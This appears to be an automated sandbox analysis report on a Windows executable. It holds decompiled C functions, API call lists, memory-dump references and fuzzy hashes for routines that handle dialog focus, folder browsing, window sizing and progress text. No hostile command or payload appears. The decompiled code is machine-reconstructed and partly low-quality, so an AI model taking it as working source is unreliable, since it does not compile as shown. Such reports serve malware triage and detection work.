GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091F6
SHGetFileInfoW.SHELL32(?,00000000,00000000,000002B4,00000103), ref: 00409216
GetDlgItem.USER32 ref: 00409229
SetWindowLongW.USER32 ref: 00409237

Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409247), ref: 00408E81
Part of subcall function 00408E57: LoadIconW.USER32(00000000), ref: 00408E84
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E98
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E9D
Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409247), ref: 00408EA6
Part of subcall function 00408E57: LoadImageW.USER32 ref: 00408EA9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EC9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408ED2
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EEF
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EF9
Part of subcall function 00408E57: GetWindowLongW.USER32(?,000000F0), ref: 00408F05
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F14
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F22
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F30
Part of subcall function 00408E57: GetWindowLongW.USER32(000000F0,000000F0), ref: 00408F3C
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F4B
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F58

Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085D3
Part of subcall function 004085BD: SetFocus.USER32(00000000,?,?,?,?,00408678,?), ref: 004085D6
Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085E6
Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085FB
Part of subcall function 004085BD: SendMessageW.USER32(00000000,000000B1,0000002C,0000002C), ref: 00408605

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$Long$MessageSendSystem$HandleLoadMetricsModule$DirectoryFileFocusIconImageInfoShowmemset
String ID:
API String ID: 358862773-0
Opcode ID: 81ec041cacca2d59917e046878064d1098f3cedd17596b8ea65ee1b3a9ebd4b2
Instruction ID: 2561db17b14fe2180de4adf028dc837e5a6c8d79ccad7adf452e374fc0286804
Opcode Fuzzy Hash: 81ec041cacca2d59917e046878064d1098f3cedd17596b8ea65ee1b3a9ebd4b2
Instruction Fuzzy Hash: 941186B1E40314A7DB20ABA5DD49F9E77BCAB84B04F00456FB651E32C1DBB8D9448B68

Uniqueness

Uniqueness Score: -1.00%

Function 004085BD, Relevance: 7.5, APIs: 5, Instructions: 36
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004085BD() {
				int _t8;
				void* _t12;
				void* _t15;

				_t15 = _t12;
				SetFocus(GetDlgItem( *(_t15 + 4), 0x4b6));
				E0040790B(GetDlgItem( *(_t15 + 4), 0x4b6),  *0x42289c);
				_t8 =  *0x4228a0; // 0x2c
				_t16 = _t8;
				return SendMessageW(GetDlgItem( *(_t15 + 4), 0x4b6), 0xb1, _t8, _t16);
			}

0x004085cd
0x004085d6
0x004085eb
0x004085f0
0x004085f9
0x00408610

APIs

GetDlgItem.USER32 ref: 004085D3
SetFocus.USER32(00000000,?,?,?,?,00408678,?), ref: 004085D6
GetDlgItem.USER32 ref: 004085E6

Part of subcall function 0040790B: SetWindowTextW.USER32(00000000,00000000), ref: 00407913

GetDlgItem.USER32 ref: 004085FB
SendMessageW.USER32(00000000,000000B1,0000002C,0000002C), ref: 00408605

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$FocusMessageSendTextWindow
String ID:
API String ID: 3590784419-0
Opcode ID: e6a2ec5d3cd3bb36a0cbfbe33b996c03fcc3e893fcc4284e1da6b571b5e81bd3
Instruction ID: dfb0d4cc9c3e97a0b9eaad954ec70788f15d407bef407a446d7597729d91de54
Opcode Fuzzy Hash: e6a2ec5d3cd3bb36a0cbfbe33b996c03fcc3e893fcc4284e1da6b571b5e81bd3
Instruction Fuzzy Hash: 9AF0E5F260021CBFEB203762ED48C6BBF9DEB893543014039F61182220CB76AC008B74

Uniqueness

Uniqueness Score: -1.00%

Function 004169D1, Relevance: 7.5, APIs: 5, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E004169D1(intOrPtr* __ecx) {
				void* _t5;

				_push( *((intOrPtr*)(__ecx + 0x34)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x28)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x18)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xc)));
				L0041C160();
				_push( *__ecx);
				L0041C160();
				return _t5;
			}

0x004169d4
0x004169d7
0x004169dc
0x004169df
0x004169e4
0x004169e7
0x004169ec
0x004169ef
0x004169f4
0x004169f6
0x004169ff

APIs

??3@YAXPAX@Z.MSVCRT ref: 004169D7
??3@YAXPAX@Z.MSVCRT ref: 004169DF
??3@YAXPAX@Z.MSVCRT ref: 004169E7
??3@YAXPAX@Z.MSVCRT ref: 004169EF
??3@YAXPAX@Z.MSVCRT ref: 004169F6

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 8a5a2e405d1432d98089c8393cabaddf830d6e4b9731c333b05916df35becb7d
Instruction ID: f2f6c36ad054111763b42ac461140cf9b87e5ea67fb04b9142b7eb6dfeeb418c
Opcode Fuzzy Hash: 8a5a2e405d1432d98089c8393cabaddf830d6e4b9731c333b05916df35becb7d
Instruction Fuzzy Hash: 15D0C7395C0534BACA223B16EC439C77AB1AF00B18305056FB08611433DAD67CE19E4C

Uniqueness

Uniqueness Score: -1.00%

Function 00408765, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00408765(intOrPtr* __ecx, void* __edx, void* __eflags) {
				char _v12;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v36;
				char _v40;
				int _t39;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t56;
				int _t58;
				intOrPtr _t60;
				intOrPtr _t70;
				char* _t74;
				intOrPtr* _t75;

				_t75 = __ecx;
				E00408491(__ecx);
				_t39 = GetSystemMetrics(7);
				_t60 =  *0x422460; // 0x12c
				if( *((intOrPtr*)(_t75 + 0x14)) < _t60 - _t39) {
					_t58 = GetSystemMetrics(7);
					_t70 =  *0x422460; // 0x12c
					 *((intOrPtr*)(_t75 + 0x14)) = _t70 - _t58;
				}
				E00414803( &_v24,  *((intOrPtr*)(_t75 + 0xc)));
				_t74 = L" 100%% ";
				if(( *0x42245c & 0x00000002) == 0) {
					E00414922( &_v24, _t74);
				}
				if(E00407803(_t75, _v24,  &_v12) != 0) {
					_t56 = _v12;
					if(_t56 >  *((intOrPtr*)(_t75 + 0x14))) {
						 *((intOrPtr*)(_t75 + 0x14)) = _t56;
					}
				}
				E00407925(_t75, 0x4b8,  &_v40);
				 *((intOrPtr*)(_t75 + 0x18)) =  *((intOrPtr*)(_t75 + 0x18)) + _v28 - _v36 + 0xe;
				if(( *0x42245c & 0x00000004) != 0) {
					_push(0x820);
					_push( *((intOrPtr*)(_t75 + 0x34)));
					_push(_t75 + 0x50);
					_push(_t74);
					if( *((intOrPtr*)( *_t75 + 8))() != 0) {
						 *((intOrPtr*)(_t75 + 0x18)) =  *((intOrPtr*)(_t75 + 0x18)) +  *((intOrPtr*)(_t75 + 0x5c));
					}
					 *((intOrPtr*)(_t75 + 0x18)) =  *((intOrPtr*)(_t75 + 0x18)) + 5;
				}
				 *((intOrPtr*)(_t75 + 0x18)) =  *((intOrPtr*)(_t75 + 0x18)) + 0xffffffee;
				_t48 =  *((intOrPtr*)(_t75 + 0x18));
				if( *0x422770 != 1) {
					_t49 = _t48 + 0xa;
					 *((intOrPtr*)(_t75 + 0x18)) = _t49;
				} else {
					E00407925(_t75, 0x4b4,  &_v40);
					_t49 = _v36 - _v28;
					 *((intOrPtr*)(_t75 + 0x18)) =  *((intOrPtr*)(_t75 + 0x18)) + _t49;
				}
				_push(_v24);
				L0041C160();
				return _t49;
			}

0x0040876d
0x0040876f
0x0040877c
0x0040877e
0x00408789
0x0040878d
0x0040878f
0x00408797
0x00408797
0x004087a0
0x004087ac
0x004087b1
0x004087b7
0x004087b7
0x004087cc
0x004087ce
0x004087d4
0x004087d6
0x004087d6
0x004087d4
0x004087e4
0x004087f2
0x004087fc
0x00408800
0x00408805
0x0040880b
0x0040880c
0x00408814
0x00408819
0x00408819
0x0040881c
0x0040881c
0x00408820
0x0040882b
0x0040882e
0x0040884b
0x0040884e
0x00408830
0x0040883b
0x00408843
0x00408846
0x00408846
0x00408851
0x00408854
0x0040885d

APIs

Part of subcall function 00408491: GetSystemMetrics.USER32 ref: 004084B9
Part of subcall function 00408491: GetSystemMetrics.USER32 ref: 004084C0

GetSystemMetrics.USER32 ref: 0040877C
GetSystemMetrics.USER32 ref: 0040878D
??3@YAXPAX@Z.MSVCRT ref: 00408854

Strings

100%% , xrefs: 004087AC, 004087B3, 0040880C

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 215862bf18c0b19acf3a5a04a03fef2e0f3c712f031a6f0c4fe28fba1ed1db42
Instruction ID: 10e9ef11b9d6995cf4d40546f1a555f884e94b1a38fc22ac62b53fc30b8b1b4d
Opcode Fuzzy Hash: 215862bf18c0b19acf3a5a04a03fef2e0f3c712f031a6f0c4fe28fba1ed1db42
Instruction Fuzzy Hash: 1231B471A007059FCB20EFA9DA419AFB7F4EF50304B10052ED582A25D1DB78FE45CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408611, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00408611(void* __ecx) {
				signed int _v8;
				intOrPtr _v24;
				void _v40;
				char _v564;
				intOrPtr* _t20;
				char* _t22;
				signed int _t24;
				signed int _t30;
				intOrPtr* _t38;
				void* _t39;

				_t39 = __ecx;
				_t30 = 8;
				memset( &_v40, 0, _t30 << 2);
				_v40 =  *((intOrPtr*)(_t39 + 4));
				_t20 =  &_v40;
				_v24 = 0x41;
				__imp__SHBrowseForFolderW(_t20);
				_t38 = _t20;
				if(_t38 != 0) {
					_v564 = 0;
					_t22 =  &_v564;
					__imp__SHGetPathFromIDListW(_t38, _t22);
					if(_t22 != 0) {
						E00414864(0x42289c,  &_v564);
						E004085BD();
					}
					_v8 = _v8 & 0x00000000;
					_t20 =  &_v8;
					__imp__SHGetMalloc(_t20);
					if(_t20 == 0) {
						_t20 = _v8;
						if(_t20 != 0) {
							 *((intOrPtr*)( *_t20 + 0x14))(_t20, _t38);
							_t24 = _v8;
							return  *((intOrPtr*)( *_t24 + 8))(_t24);
						}
					}
				}
				return _t20;
			}

0x0040861c
0x00408622
0x00408626
0x0040862b
0x0040862e
0x00408632
0x00408639
0x0040863f
0x00408643
0x00408647
0x0040864e
0x00408656
0x0040865e
0x0040866c
0x00408673
0x00408673
0x00408678
0x0040867c
0x00408680
0x00408688
0x0040868a
0x0040868f
0x00408695
0x00408698
0x00000000
0x0040869e
0x0040868f
0x00408688
0x004086a4

APIs

SHBrowseForFolderW.SHELL32(?), ref: 00408639
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00408656
SHGetMalloc.SHELL32(00000000), ref: 00408680

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085D3
Part of subcall function 004085BD: SetFocus.USER32(00000000,?,?,?,?,00408678,?), ref: 004085D6
Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085E6
Part of subcall function 004085BD: GetDlgItem.USER32 ref: 004085FB
Part of subcall function 004085BD: SendMessageW.USER32(00000000,000000B1,0000002C,0000002C), ref: 00408605

Strings

A, xrefs: 00408632

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$??2@??3@BrowseFocusFolderFromListMallocMessagePathSendmemcpy
String ID: A
API String ID: 593732027-3554254475
Opcode ID: abef69c3a689c6693ae1daabc196967bfb947067b108d8514785a3976a152fcc
Instruction ID: 334bb033f33a0169e89b3c4095cf3bc58b16b71e79b7d68a569bb45045dcd683
Opcode Fuzzy Hash: abef69c3a689c6693ae1daabc196967bfb947067b108d8514785a3976a152fcc
Instruction Fuzzy Hash: 1A117375A10114ABDB10DBA5CA48AEE77FDAF88701F1044BEE405E3280DF79DE05CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00408345, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00408345(void* __ecx) {
				char _v16;
				short _v528;
				void* _t16;
				WCHAR* _t26;
				void* _t28;

				_t28 = __ecx;
				E00414839( &_v16, __ecx + 0x3c);
				if( *((intOrPtr*)(__ecx + 0x48)) > 0) {
					_t26 = 0x1d;
					wsprintfW( &_v528, L" (%d%s)",  *((intOrPtr*)(__ecx + 0x48)), E00403CE0(_t26));
					E00414922( &_v16,  &_v528);
				}
				_t16 = E0040790B(GetDlgItem( *(_t28 + 4),  *(_t28 + 0x4c)), _v16);
				_push(_v16);
				L0041C160();
				return _t16;
			}

0x0040834f
0x00408358
0x00408361
0x00408365
0x0040837b
0x0040838e
0x0040838e
0x004083a6
0x004083ab
0x004083ae
0x004083b6

APIs

Part of subcall function 00414839: memcpy.MSVCRT ref: 00414855

wsprintfW.USER32 ref: 0040837B

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

GetDlgItem.USER32 ref: 0040839D
??3@YAXPAX@Z.MSVCRT ref: 004083AE

Strings

(%d%s), xrefs: 00408375

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??3@Itemwsprintf
String ID: (%d%s)
API String ID: 1424909225-2087557067
Opcode ID: 4c2e4abf8fb0949f687d944acbe7981161a7f97eff8663cb11372a1bea16929d
Instruction ID: 1095c0e5d4e8a60263cd01f69a665fc3e98801ae7abcb9bbd600e73924aed479
Opcode Fuzzy Hash: 4c2e4abf8fb0949f687d944acbe7981161a7f97eff8663cb11372a1bea16929d
Instruction Fuzzy Hash: BAF0A9B18002187FDB21BB55DC06EDE77BCEF04704F10456BB552A1492DB75AA448B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040457E, Relevance: 6.1, APIs: 4, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040457E(signed short** __ecx, void* __edi, void* __eflags) {
				signed short* _v8;
				signed short** _v12;
				char _v24;
				char _v36;
				char _v48;
				char _v60;
				void* _t30;
				void* _t33;
				signed int _t37;
				void* _t39;
				signed int _t46;
				signed int _t66;
				signed short* _t72;

				_v12 = __ecx;
				E004147DF(_t30,  &_v24);
				_t72 =  *__ecx;
				_t46 =  *_t72 & 0x0000ffff;
				if(_t46 != 0) {
					_v8 =  &(_t72[2]);
					do {
						if(_t46 != 0x7e) {
							L10:
							E00401585( &_v24, _t46);
							_t72 =  &(_t72[1]);
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
						} else {
							_t66 = _t72[1] & 0x0000ffff;
							_t76 = _t66 - 0x78;
							if(_t66 != 0x78) {
								L6:
								__eflags = _t66 - 0x58;
								if(__eflags != 0) {
									goto L10;
								} else {
									_t68 = E004032FD(_v8, __eflags);
									__eflags = _t36;
									if(__eflags < 0) {
										goto L10;
									} else {
										_t37 = E004032FD( &(_t72[4]), __eflags);
										__eflags = _t37;
										if(_t37 < 0) {
											goto L10;
										} else {
											E00401585( &_v24, _t68 << 0x00000008 | _t37);
											_t72 =  &(_t72[6]);
											_v8 =  &(_v8[6]);
										}
									}
								}
							} else {
								_t39 = E004032FD(_v8, _t76);
								_t77 = _t39;
								if(_t39 < 0) {
									goto L6;
								} else {
									E004147DF(E004143E4( &_v48, _t39),  &_v36);
									E004148C7( &_v36, E00404346( &_v60,  &_v48, _t77, 0));
									_push(_v60);
									L0041C160();
									E00414962( &_v24, _t77,  &_v36);
									_push(_v36);
									_v8 =  &(_v8[4]);
									_t72 =  &(_t72[4]);
									L0041C160();
									_push(_v48);
									L0041C160();
								}
							}
						}
						_t46 =  *_t72 & 0x0000ffff;
					} while (_t46 != 0);
				}
				_t33 = E004148C7(_v12,  &_v24);
				_push(_v24);
				L0041C160();
				return _t33;
			}

0x0040458b
0x0040458e
0x00404593
0x00404595
0x0040459b
0x004045a4
0x004045a8
0x004045ac
0x00404654
0x00404658
0x0040465d
0x00404660
0x00404660
0x00404660
0x004045b2
0x004045b2
0x004045b6
0x004045b9
0x0040461e
0x0040461e
0x00404621
0x00000000
0x00404623
0x0040462b
0x0040462d
0x0040462f
0x00000000
0x00404631
0x00404634
0x00404639
0x0040463b
0x00000000
0x0040463d
0x00404646
0x0040464b
0x0040464e
0x0040464e
0x0040463b
0x0040462f
0x004045bb
0x004045be
0x004045c3
0x004045c5
0x00000000
0x004045c7
0x004045d3
0x004045e9
0x004045ee
0x004045f1
0x004045fe
0x00404603
0x00404606
0x0040460a
0x0040460d
0x00404612
0x00404615
0x0040461b
0x004045c5
0x004045b9
0x00404664
0x00404667
0x00404670
0x00404678
0x0040467d
0x00404680
0x00404689

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

??3@YAXPAX@Z.MSVCRT ref: 00404680

Part of subcall function 00404346: MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00000000,004045E5,00000000,00000000,?,73B749F0,00000000), ref: 00404372

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

??3@YAXPAX@Z.MSVCRT ref: 004045F1

Part of subcall function 00414962: memcpy.MSVCRT ref: 00414985

??3@YAXPAX@Z.MSVCRT ref: 0040460D
??3@YAXPAX@Z.MSVCRT ref: 00404615

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@memcpy$ByteCharMultiWide
String ID:
API String ID: 1626065140-0
Opcode ID: 92b2269dcbb5469a7374e5d0293862210f50a6874d1cdadc034233de0de85a53
Instruction ID: b0a0a81bb6a2256ad0cd8ca21ba2997bb0ff50e184d4d55abff6c389da77fbe6
Opcode Fuzzy Hash: 92b2269dcbb5469a7374e5d0293862210f50a6874d1cdadc034233de0de85a53
Instruction Fuzzy Hash: DB3172B2D001199BCB10FBA5CC928EEB7B4AEA1719B10047FE911731D1EF3D5E44DA28

Uniqueness

Uniqueness Score: -1.00%

Function 00407803, Relevance: 6.1, APIs: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00407803(intOrPtr* __ecx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v16;
				char _v24;
				struct tagLOGFONTW _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				void _v524;
				intOrPtr* _t27;
				void* _t33;
				intOrPtr* _t41;
				intOrPtr _t43;

				_v8 = _v8 & 0x00000000;
				_t41 = __ecx;
				_v524 = 0x1f4;
				if(SystemParametersInfoW(0x29, 0x1f4,  &_v524, 0) != 0) {
					_t43 =  *((intOrPtr*)(_t41 + 0x1c)) + _v508 - 0x1a;
					if(( *0x42245c & 0x00000200) == 0) {
						_t43 = _t43 + GetSystemMetrics(0x31);
					}
					_t33 = CreateFontIndirectW( &_v500);
					if(_t33 != 0) {
						_push(0x860);
						_push(_t33);
						_push( &_v24);
						_push(_a4);
						if( *((intOrPtr*)( *_t41 + 8))() != 0) {
							_t43 = _t43 + _v16;
							_v8 = 1;
						}
						DeleteObject(_t33);
					}
					_t27 = _a8;
					 *_t27 = _t43;
					 *((intOrPtr*)(_t27 + 4)) = _v504;
				}
				return _v8;
			}

0x0040780c
0x00407813
0x00407824
0x00407832
0x00407849
0x0040784d
0x00407857
0x00407857
0x00407866
0x0040786a
0x0040786e
0x00407873
0x00407877
0x00407878
0x00407882
0x00407884
0x00407887
0x00407887
0x0040788f
0x0040788f
0x00407895
0x0040789e
0x004078a1
0x004078a4
0x004078aa

APIs

SystemParametersInfoW.USER32 ref: 0040782A
GetSystemMetrics.USER32 ref: 00407851
CreateFontIndirectW.GDI32(?), ref: 00407860
DeleteObject.GDI32(00000000), ref: 0040788F

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 6b0baed25e051eef8abb3c10058c87645c9df880ae66aa92677688f43f21874f
Instruction ID: 6ed76f481bb13851b2ba6c7269299cba647cb843460d982c1d226789c05f16d1
Opcode Fuzzy Hash: 6b0baed25e051eef8abb3c10058c87645c9df880ae66aa92677688f43f21874f
Instruction Fuzzy Hash: 6E1133B6E00219EFDB109F54DD88FEAB7B8EB08304F04806AED15A7291DB74AE44CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFD0, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040BFD0(intOrPtr* __ecx, intOrPtr _a4) {
				signed int _t16;
				intOrPtr* _t21;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				void* _t35;

				_t34 = __ecx;
				_t1 = _t34 + 8; // 0x0
				_t16 =  *_t1;
				if(_t16 >=  *__ecx) {
					_t2 = _t34 + 4; // 0x0
					_t33 =  *((intOrPtr*)( *_t2 + _t16 * 4 - 4));
					if(_t33 != 0) {
						_t16 =  *(_t33 + 0x18);
						_push(_t16);
						L0041C160();
						_push(_t33);
						L0041C160();
						_t35 = _t35 + 8;
					}
					 *(_t34 + 8) =  *(_t34 + 8) - 1;
				}
				_push(0x40);
				L0041C16C();
				if(_t16 == 0) {
					_t32 = 0;
				} else {
					_t32 = E0040BB60(_t16, _a4);
				}
				_t10 = _t34 + 4; // 0x42262c
				E0041B15E(_t10);
				_t11 = _t34 + 8; // 0x0
				_t12 = _t34 + 4; // 0x0
				memmove( *_t12 + 4,  *_t12,  *_t11 +  *_t11 +  *_t11 +  *_t11);
				_t13 = _t34 + 4; // 0x0
				_t21 =  *_t13;
				 *_t21 = _t32;
				 *(_t34 + 8) =  *(_t34 + 8) + 1;
				return _t21;
			}

0x0040bfd1
0x0040bfd3
0x0040bfd3
0x0040bfd9
0x0040bfdb
0x0040bfe0
0x0040bfe6
0x0040bfe8
0x0040bfeb
0x0040bfec
0x0040bff1
0x0040bff2
0x0040bff7
0x0040bff7
0x0040bffa
0x0040bffa
0x0040bffd
0x0040bfff
0x0040c009
0x0040c01b
0x0040c00b
0x0040c017
0x0040c017
0x0040c01d
0x0040c020
0x0040c025
0x0040c028
0x0040c035
0x0040c03b
0x0040c03b
0x0040c041
0x0040c043
0x0040c048

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040BFEC
??3@YAXPAX@Z.MSVCRT ref: 0040BFF2
??2@YAPAXI@Z.MSVCRT ref: 0040BFFF
memmove.MSVCRT ref: 0040C035

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@memmove
String ID:
API String ID: 1826340609-0
Opcode ID: 8e7532886ac6f132fb31c5bc599489b9f27b5be55b701efbb96b8b47ac8e95ed
Instruction ID: 28c01599a8efab726e8a96f9add3700168d0e8d0987dbb03bf4d91f07539ccee
Opcode Fuzzy Hash: 8e7532886ac6f132fb31c5bc599489b9f27b5be55b701efbb96b8b47ac8e95ed
Instruction Fuzzy Hash: E3015276600601ABC2209B59DC8199773F5EFC4714705853DF85A93745DB38EC528BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00404475, Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00404475(WCHAR** __ecx) {
				char _v16;
				void* _t8;
				long _t11;
				long _t12;
				void* _t17;
				void* _t29;
				WCHAR* _t30;
				WCHAR** _t32;

				_t32 = __ecx;
				E004147DF(_t8,  &_v16);
				_t30 =  *__ecx;
				_t11 = ExpandEnvironmentStringsW(_t30, E0040420B( &_v16, _t29, 1), 1);
				if(_t11 != 0) {
					_t12 = _t11 + 1;
					ExpandEnvironmentStringsW( *_t32, E0040420B( &_v16, _t29, _t12), _t12);
					E004041F0( &_v16);
					_t17 = E004148C7(_t32,  &_v16);
					_push(_v16);
					L0041C160();
					return _t17;
				}
				_push(_v16);
				L0041C160();
				return _t11;
			}

0x0040447c
0x00404482
0x00404487
0x0040449d
0x004044a1
0x004044b1
0x004044be
0x004044c3
0x004044ce
0x004044d3
0x004044d6
0x00000000
0x004044dc
0x004044a3
0x004044a6
0x00000000

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

Part of subcall function 0040420B: wcsncpy.MSVCRT ref: 00404239
Part of subcall function 0040420B: ??3@YAXPAX@Z.MSVCRT ref: 00404244

ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000001,00000001,00000000,?,00000000,00000000,?), ref: 0040449D
??3@YAXPAX@Z.MSVCRT ref: 004044A6
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000001,00000001,00000000), ref: 004044BE
??3@YAXPAX@Z.MSVCRT ref: 004044D6

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
